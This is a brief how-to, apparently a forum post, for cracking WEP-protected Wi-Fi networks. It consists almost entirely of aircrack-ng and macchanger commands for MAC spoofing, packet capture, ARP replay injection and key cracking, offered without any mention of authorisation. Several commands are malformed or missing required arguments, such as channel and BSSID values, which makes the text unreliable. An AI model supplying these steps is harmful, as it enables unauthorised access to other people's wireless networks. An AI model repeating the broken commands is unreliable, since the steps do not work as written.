How to crack the WEP
* The first thing, you must have a bootable Backtrack 3 cd or dvd.
* The second thing is a wireless adopter such as alfa and many more.
This is the command:
* airmon-ng stop wlan0
* airmon-ng wlan0 down
* airmon-ng ifconfig
* macchanger --mac 00:11:22:33:44:55: wlan0
* airmon-ng start wlan0
* airodump-ng wlan0
* airodump-ng -c -wep --bssid wlan0
* aireplay-ng -1 0 -a -h 00:11:22:33:44:55 wlan0
* aireplay-ng -3 -b -h 00:11:22:33:44:55 wlan0
* aircrack-ng wep-01.cap